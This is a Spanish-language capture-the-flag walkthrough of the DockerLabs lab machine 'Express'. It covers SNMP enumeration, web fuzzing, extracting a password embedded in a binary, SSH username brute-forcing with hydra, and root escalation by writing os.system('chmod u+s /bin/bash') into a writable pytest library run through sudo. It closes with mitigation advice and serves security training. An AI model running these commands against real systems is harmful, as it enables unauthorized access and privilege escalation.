Express
Introducción
Sección titulada «Introducción»Este documento presenta la resolución completa de la máquina Express, desarrollada por d1se0 para la plataforma DockerLabs, clasificada con una dificultad Media.
El laboratorio expone múltiples vectores de ataque derivados de configuraciones inseguras, incluyendo la exposición de información sensible mediante SNMP, el uso de credenciales embebidas en binarios, la ausencia de controles contra fuerza bruta en SSH y una escalada de privilegios crítica mediante la ejecución de scripts Python con privilegios elevados y dependencias inseguras.
A partir del acceso inicial como un usuario legítimo del sistema, se realiza una escalada de privilegios hasta obtener acceso completo como root.
La metodología seguida se estructura en las siguientes fases:
- Reconocimiento: enumeración de servicios TCP/UDP y recolección de información.
- Explotación: obtención de credenciales válidas y acceso por SSH.
- Escalada de privilegios: abuso de configuraciones inseguras en
sudoy librerías Python.
Todo el proceso se llevó a cabo dentro de un entorno controlado con fines estrictamente educativos.
Información Técnica
Sección titulada «Información Técnica»| Atributo | Valor |
|---|---|
| Nombre | Express |
| Autor | d1se0 |
| Dificultad | Medio |
| Fecha | 11/01/2025 |
| Plataforma | DockerLabs |
| IP Objetivo | 172.17.0.2 |
Paso 0 — Despliegue y preparación
Sección titulada «Paso 0 — Despliegue y preparación»Se descomprime la máquina y se despliega utilizando el script proporcionado:
unzip Express.zipsudo bash auto_deploy.sh Express.tarUna vez iniciado el contenedor, se identifica la dirección IP asignada.
Se organiza el entorno de trabajo para mantener una estructura clara durante el análisis:
mkdir -p Express/{content,exploits,nmap,scripts}cd ExpressPaso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Escaneo de puertos
Sección titulada «1.1 Escaneo de puertos»Se realiza un escaneo completo de puertos TCP para identificar servicios expuestos:
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsPosteriormente, se ejecuta un escaneo de puertos UDP al sospechar la presencia de servicios adicionales:
sudo nmap -sU --top-ports 500 -n -Pn 172.17.0.2Servicios identificados:
- 22/tcp — SSH
- 80/tcp — HTTP
- 80/udp — SNMP
1.2 Enumeración SNMP
Sección titulada «1.2 Enumeración SNMP»Se verifica el uso de comunidades SNMP por defecto:
snmp-check 172.17.0.2 -c public -v 2cEl servicio responde correctamente utilizando la comunidad public, revelando información sensible del sistema, incluyendo un correo asociado a un dominio interno:
admin@express.dlEste dominio se añade al archivo /etc/hosts para facilitar la enumeración posterior.
1.3 Enumeración web
Sección titulada «1.3 Enumeración web»Se realiza fuzzing de rutas y archivos sobre el servicio web:
feroxbuster -u http://express.dl \ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \ -x php,html,txt,js -t 100 -C 404Recursos relevantes encontrados:
-
index.html Página principal con información general del servicio.
-
robots.txt Contiene información básica del sitio.
-
/binary/ Directorio accesible públicamente que contiene un binario llamado
game.
Paso 2 — Explotación (Acceso inicial)
Sección titulada «Paso 2 — Explotación (Acceso inicial)»El binario game se descarga y se analiza localmente. Su funcionamiento consiste en solicitar la adivinanza de un número repetidas veces.
Se realiza un análisis estático inicial utilizando strings, donde se identifica una posible contraseña embebida en el binario.
Para confirmar, se decompila el archivo con Ghidra, verificando que efectivamente se trata de una credencial válida.
Con la contraseña obtenida, se procede a identificar el usuario correspondiente mediante fuerza bruta sobre SSH:
hydra -L top-usernames-shortlist.txt -p 'PASSWORD' ssh://172.17.0.2El ataque devuelve un usuario válido. Con estas credenciales se obtiene acceso al sistema:
ssh admin@172.17.0.2Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»3.1 De admin → root
Sección titulada «3.1 De admin → root»Se listan los privilegios asignados al usuario:
sudo -lEl usuario puede ejecutar el script /opt/script.py como root utilizando python3.
Al revisar el código del script, se observa la importación de la librería pytest. Al localizar dicha librería en el sistema, se comprueba que el usuario tiene permisos de escritura sobre ella.
Se modifica el archivo para ejecutar un comando que otorga el bit SUID a /bin/bash:
import osos.system("chmod u+s /bin/bash")Posteriormente, se ejecuta el script con privilegios elevados:
sudo python3 /opt/script.pyFinalmente, se obtiene una shell privilegiada:
bash -pCon esto se logra acceso completo como root.
Análisis de Vulnerabilidades
Sección titulada «Análisis de Vulnerabilidades»Fallos de Seguridad Identificados
Sección titulada «Fallos de Seguridad Identificados»| Vulnerabilidad | Severidad | Impacto |
|---|---|---|
Uso de comunidad SNMP por defecto (public) | Alta | Exposición de información sensible |
| Divulgación de dominio y correo interno | Media | Facilita enumeración y ataques dirigidos |
| Binario accesible con credenciales embebidas | Crítica | Compromiso de cuentas legítimas |
| Ausencia de controles contra fuerza bruta en SSH | Alta | Acceso no autorizado |
Ejecución de scripts Python con sudo | Crítica | Escalada directa de privilegios |
| Permisos inseguros sobre librerías del sistema | Crítica | Secuestro de dependencias (library hijacking) |
Recomendaciones de Mitigación
Sección titulada «Recomendaciones de Mitigación»- Deshabilitar SNMP o restringirlo mediante comunidades seguras y control de acceso por IP.
- Eliminar información sensible expuesta por servicios auxiliares.
- Evitar credenciales hardcodeadas en binarios o scripts.
- Implementar protección contra fuerza bruta en SSH (rate-limit, bloqueo temporal).
- Restringir el uso de
sudopara scripts interpretados. - Asegurar que las librerías del sistema no sean modificables por usuarios no privilegiados.
- Aplicar el principio de mínimo privilegio en todo el sistema.